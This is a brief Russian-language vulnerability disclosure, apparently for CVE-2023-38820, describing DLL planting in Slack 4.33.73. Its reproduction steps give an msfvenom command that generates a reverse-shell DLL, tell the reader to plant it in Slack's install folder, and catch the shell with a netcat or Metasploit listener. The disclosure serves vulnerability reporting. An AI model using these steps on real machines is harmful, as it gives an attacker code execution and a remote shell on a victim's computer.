DLL-Planting-Slack-4.33.73-CVE-2023-38820

Внедрение DLL в Slack 4.33.73 - CVE-2023-38820 Обнаружил: Идан Малихи

Описание

Проблема в Slack v.4.33.73 позволяет локальному злоумышленнику выполнить произвольный код через механизм загрузки DLL в файлах profapi.dll, CRYPTBASE.dll, KBDUS.DLL, DPAPI.dll, MSASN1.dll, mf.dll, mfplat.dll и RTWorkQ.DLL.

Шаги для воспроизведения

Для эксплуатации уязвимости злоумышленник должен загрузить и установить программу Slack, а затем выполнить следующие шаги:

1. Создать вредоносный DLL-файл с помощью msfvenom: msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -o profapi.dll
2. Переместить вредоносный DLL-файл на компьютер жертвы
3. Открыть путь Slack: "C:\Users\idan.m\AppData\Local\slack\app-4.33.73"
4. Переместить вредоносный DLL в путь Slack и назвать его, например, "KBDUS.DLL".
5. Открыть netcat или слушатель metasploit
6. Запустить Slack.exe
7. Получить обратную оболочку.